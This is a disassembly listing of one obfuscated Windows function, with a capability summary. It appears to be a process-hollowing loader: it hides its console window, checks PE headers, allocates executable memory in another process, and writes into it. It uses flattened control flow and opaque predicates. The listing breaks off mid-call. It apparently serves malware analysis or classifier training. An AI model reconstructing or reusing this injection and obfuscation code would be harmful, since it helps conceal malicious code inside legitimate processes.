Function at 0x10003760
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf0
mov eax, dword [0x10066000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xf2], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xf1], al
mov dword [ebp - 0xf8], 0x71c72369
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xfc], eax
sub eax, 0x815d2e14
je 0x10006094
jmp 0x100037d3
mov eax, dword [ebp - 0xfc]
sub eax, 0x839e7fba
je 0x100044f0
jmp 0x100037e9
mov eax, dword [ebp - 0xfc]
sub eax, 0x886ecccd
je 0x100058e7
jmp 0x100037ff
mov eax, dword [ebp - 0xfc]
sub eax, 0x88cfef2b
je 0x10005904
jmp 0x10003815
mov eax, dword [ebp - 0xfc]
sub eax, 0x88ebec19
je 0x1000482f
jmp 0x1000382b
mov eax, dword [ebp - 0xfc]
sub eax, 0x8dc57733
je 0x100059b1
jmp 0x10003841
mov eax, dword [ebp - 0xfc]
sub eax, 0x9055b74d
je 0x1000494b
jmp 0x10003857
mov eax, dword [ebp - 0xfc]
sub eax, 0x937bd1c6
je 0x100050c1
jmp 0x1000386d
mov eax, dword [ebp - 0xfc]
sub eax, 0x93a98a1f
je 0x100042c5
jmp 0x10003883
mov eax, dword [ebp - 0xfc]
sub eax, 0x95a9762d
je 0x1000564c
jmp 0x10003899
mov eax, dword [ebp - 0xfc]
sub eax, 0x9a7eee3d
je 0x10005e12
jmp 0x100038af
mov eax, dword [ebp - 0xfc]
sub eax, 0x9b218cb2
je 0x10004a3f
jmp 0x100038c5
mov eax, dword [ebp - 0xfc]
sub eax, 0x9b7b9433
je 0x1000601d
jmp 0x100038db
mov eax, dword [ebp - 0xfc]
sub eax, 0x9b8e77b1
je 0x10005e6c
jmp 0x100038f1
mov eax, dword [ebp - 0xfc]
sub eax, 0x9bd7bc03
je 0x1000607f
jmp 0x10003907
mov eax, dword [ebp - 0xfc]
sub eax, 0x9edc3434
je 0x10005747
jmp 0x1000391d
mov eax, dword [ebp - 0xfc]
sub eax, 0xa14d1cc0
je 0x1000565b
jmp 0x10003933
mov eax, dword [ebp - 0xfc]
sub eax, 0xa1fe01ff
je 0x10004d2a
jmp 0x10003949
mov eax, dword [ebp - 0xfc]
sub eax, 0xa22aa6ff
je 0x10005410
jmp 0x1000395f
mov eax, dword [ebp - 0xfc]
sub eax, 0xa32fc10d
je 0x10004581
jmp 0x10003975
mov eax, dword [ebp - 0xfc]
sub eax, 0xa70a77af
je 0x10006205
jmp 0x1000398b
mov eax, dword [ebp - 0xfc]
sub eax, 0xa8662512
je 0x100049ee
jmp 0x100039a1
mov eax, dword [ebp - 0xfc]
sub eax, 0xac6db660
je 0x10005db1
jmp 0x100039b7
mov eax, dword [ebp - 0xfc]
sub eax, 0xaddf16ec
je 0x100046b3
jmp 0x100039cd
mov eax, dword [ebp - 0xfc]
sub eax, 0xaeac74a2
je 0x10005cc1
jmp 0x100039e3
mov eax, dword [ebp - 0xfc]
sub eax, 0xb29be4b5
je 0x10005df8
jmp 0x100039f9
mov eax, dword [ebp - 0xfc]
sub eax, 0xb6e95f79
je 0x10004b8d
jmp 0x10003a0f
mov eax, dword [ebp - 0xfc]
sub eax, 0xb82c0f9e
je 0x10005069
jmp 0x10003a25
mov eax, dword [ebp - 0xfc]
sub eax, 0xbbe69a52
je 0x1000604f
jmp 0x10003a3b
mov eax, dword [ebp - 0xfc]
sub eax, 0xc5f46414
je 0x10004fda
jmp 0x10003a51
mov eax, dword [ebp - 0xfc]
sub eax, 0xc6a6c745
je 0x10005784
jmp 0x10003a67
mov eax, dword [ebp - 0xfc]
sub eax, 0xc9071fde
je 0x10006070
jmp 0x10003a7d
mov eax, dword [ebp - 0xfc]
sub eax, 0xcc264e68
je 0x100057cb
jmp 0x10003a93
mov eax, dword [ebp - 0xfc]
sub eax, 0xcdaf789a
je 0x10005756
jmp 0x10003aa9
mov eax, dword [ebp - 0xfc]
sub eax, 0xd061fd7c
je 0x100063b8
jmp 0x10003abf
mov eax, dword [ebp - 0xfc]
sub eax, 0xd5322f1c
je 0x100046fc
jmp 0x10003ad5
mov eax, dword [ebp - 0xfc]
sub eax, 0xd59c3313
je 0x10004b48
jmp 0x10003aeb
mov eax, dword [ebp - 0xfc]
sub eax, 0xd7d3bdd6
je 0x10005e43
jmp 0x10003b01
mov eax, dword [ebp - 0xfc]
sub eax, 0xd9607e25
je 0x10005144
jmp 0x10003b17
mov eax, dword [ebp - 0xfc]
sub eax, 0xda0d3be3
je 0x10004af1
jmp 0x10003b2d
mov eax, dword [ebp - 0xfc]
sub eax, 0xdaf74021
je 0x100062dc
jmp 0x10003b43
mov eax, dword [ebp - 0xfc]
sub eax, 0xdb268ca6
je 0x1000623b
jmp 0x10003b59
mov eax, dword [ebp - 0xfc]
sub eax, 0xdba60dfa
je 0x100056d1
jmp 0x10003b6f
mov eax, dword [ebp - 0xfc]
sub eax, 0xdbd1dafb
je 0x100045f3
jmp 0x10003b85
mov eax, dword [ebp - 0xfc]
sub eax, 0xe0c82138
je 0x100043da
jmp 0x10003b9b
mov eax, dword [ebp - 0xfc]
sub eax, 0xeb515a1c
je 0x10005793
jmp 0x10003bb1
mov eax, dword [ebp - 0xfc]
sub eax, 0xec581ad0
je 0x10006382
jmp 0x10003bc7
mov eax, dword [ebp - 0xfc]
sub eax, 0xf1526100
je 0x10005c75
jmp 0x10003bdd
mov eax, dword [ebp - 0xfc]
sub eax, 0xf179aaba
je 0x10005c93
jmp 0x10003bf3
mov eax, dword [ebp - 0xfc]
sub eax, 0xf589e742
je 0x10004f25
jmp 0x10003c09
mov eax, dword [ebp - 0xfc]
sub eax, 0xf5b5d6f3
je 0x1000600e
jmp 0x10003c1f
mov eax, dword [ebp - 0xfc]
sub eax, 0xfaf30619
je 0x10006127
jmp 0x10003c35
mov eax, dword [ebp - 0xfc]
sub eax, 0xfd006768
je 0x10005300
jmp 0x10003c4b
mov eax, dword [ebp - 0xfc]
sub eax, 0xfe4bc1b4
je 0x10005f3a
jmp 0x10003c61
mov eax, dword [ebp - 0xfc]
sub eax, 0x1eaca6a
je 0x10006220
jmp 0x10003c77
mov eax, dword [ebp - 0xfc]
sub eax, 0x1ecd127
je 0x1000538c
jmp 0x10003c8d
mov eax, dword [ebp - 0xfc]
sub eax, 0x4dff00e
je 0x10006373
jmp 0x10003ca3
mov eax, dword [ebp - 0xfc]
sub eax, 0x7a58092
je 0x100051cd
jmp 0x10003cb9
mov eax, dword [ebp - 0xfc]
sub eax, 0xd8b3f5f
je 0x10004eaf
jmp 0x10003ccf
mov eax, dword [ebp - 0xfc]
sub eax, 0xf5ca7a6
je 0x10004cd0
jmp 0x10003ce5
mov eax, dword [ebp - 0xfc]
sub eax, 0x10792b99
je 0x100057e5
jmp 0x10003cfb
mov eax, dword [ebp - 0xfc]
sub eax, 0x128f3d3b
je 0x10004bfa
jmp 0x10003d11
mov eax, dword [ebp - 0xfc]
sub eax, 0x1446ddc3
je 0x100043cb
jmp 0x10003d27
mov eax, dword [ebp - 0xfc]
sub eax, 0x183a66b3
je 0x100057ad
jmp 0x10003d3d
mov eax, dword [ebp - 0xfc]
sub eax, 0x1906faf7
je 0x1000645d
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xe0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9071fde
mov ecx, 0x1446ddc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov dword [ebp - 0xf8], 0xe0c82138
jmp 0x1000647c
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call fcn.10001010
add esp, 8
mov eax, dword [ebp - 0xf0]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0x34fe9a3f
jmp 0x1000647c
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x91], al
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
sub edx, 0x562f3051
sub edx, 1
add edx, 0x562f3051
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9bd7bc03
mov ecx, 0xa32fc10d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov dl, byte [ebp - 0x91]
mov eax, 0x4343bc3a
mov ecx, 0x39c14d84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
add edx, 0xc74f5a35
sub edx, 1
sub edx, 0xc74f5a35
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x815d2e14
mov ecx, 0x316ac187
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3fcc086f
mov ecx, 0xd5322f1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0x88]
cmp eax, 0x4550
sete al
and al, 1
mov byte [ebp - 0x82], al
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0xfb56214
sub edx, 1
sub edx, 0xfb56214
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3fcc086f
mov ecx, 0x6c64513b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xd8]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x81], al
mov dword [ebp - 0xf8], 0x40d64ded
jmp 0x1000647c
mov dword [ebp - 0xf8], 0x299ac05c
jmp 0x1000647c
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0xb2979474
sub edx, 1
add edx, 0xb2979474
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3ce22b10
mov ecx, 0x9b218cb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0xfd765ba6
sub edx, 1
sub edx, 0xfd765ba6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3ce22b10
mov ecx, 0x400ed39c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xfe4bc1b4
mov ecx, 0xd59c3313
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002d60
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0xb6e95f79
jmp 0x1000647c
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov edx, dword [ebp - 0xcc]
mov eax, 0xa1fe01ff
mov ecx, 0x128f3d3b
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0x6b43a8b8
sub edx, 1
sub edx, 0x6b43a8b8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5b50a0f5
mov ecx, 0x3e96a9e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov dword [ebp - 0xf8], 0x2853768e
jmp 0x1000647c
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfaf30619
mov ecx, 0x48fccd21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
sub edx, 0xa761ac07
sub edx, 1
add edx, 0xa761ac07
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa70a77af
mov ecx, 0xf589e742
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0xb3561e1d
sub edx, 1
add edx, 0xb3561e1d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa70a77af
mov ecx, 0x25011f34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x6c], eax
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0x1fb537
sub edx, 1
sub edx, 0x1fb537
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1eaca6a
mov ecx, 0xb82c0f9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov dword [ebp - 0xf8], 0x27fb6993
jmp 0x1000647c
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax + 2]
mov eax, dword [ebp - 0x70]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x65], al
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0xafd8a2dd
sub edx, 1
add edx, 0xafd8a2dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb268ca6
mov ecx, 0x74701309
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xf8], 0x7a58092
jmp 0x1000647c
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0xff904c3f
sub edx, 1
add edx, 0xff904c3f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a1cd9a1
mov ecx, 0x73a29aed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov dl, byte [ebp - 0x51]
mov eax, 0xa14d1cc0
mov ecx, 0x2fff8adb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x4c], eax
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0xeddb27fb
sub edx, 1
add edx, 0xeddb27fb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdaf74021
mov ecx, 0x35161ce4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5b0a154d
mov ecx, 0x5da4f602
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov dword [ebp - 0xf8], 0xa14d1cc0
jmp 0x1000647c
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
sub edx, 0xec64754b
sub edx, 1
add edx, 0xec64754b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4dff00e
mov ecx, 0xdba60dfa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
sub edx, 0x6b11b6ca
sub edx, 1
add edx, 0x6b11b6ca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4dff00e
mov ecx, 0x9edc3434
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov dword [ebp - 0xf8], 0xcdaf789a
jmp 0x1000647c
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
add ecx, 0xb0313859
add ecx, 1
sub ecx, 0xb0313859
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0xc6a6c745
jmp 0x1000647c
mov dword [ebp - 0xf8], 0x78ce17dd
jmp 0x1000647c
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xf8], 0x183a66b3
jmp 0x1000647c
mov edx, dword [ebp - 0x44]
mov eax, 0x9b8e77b1
mov ecx, 0xcc264e68
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xf8], 0x10792b99
jmp 0x1000647c
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec581ad0
mov ecx, 0x4ebbb02a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xf8], 0x88cfef2b
jmp 0x1000647c
mov edx, dword [ebp - 0x38]
mov eax, 0x684f3b32
mov ecx, 0x49f7cf20
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xf8], 0x4b0d1016
jmp 0x1000647c
mov dl, byte [ebp - 0x1d]
mov eax, 0x77eef651
mov ecx, 0xf179aaba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
add eax, 0x8097e7f6
add eax, ecx
sub eax, 0x8097e7f6
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xf8], 0xaeac74a2
jmp 0x1000647c
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xf8], 0x77eef651
jmp 0x1000647c
mov dword [ebp - 0xf8], 0x38494eda
jmp 0x1000647c
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0x8dc57733
jmp 0x1000647c
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
sub eax, 0xb5bc87c3
add eax, ecx
add eax, 0xb5bc87c3
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xf8], 0xd7d3bdd6
jmp 0x1000647c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0x886ecccd
jmp 0x1000647c
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
sub ecx, 0x54d5b5cd
add ecx, 8
add ecx, 0x54d5b5cd
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xcc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
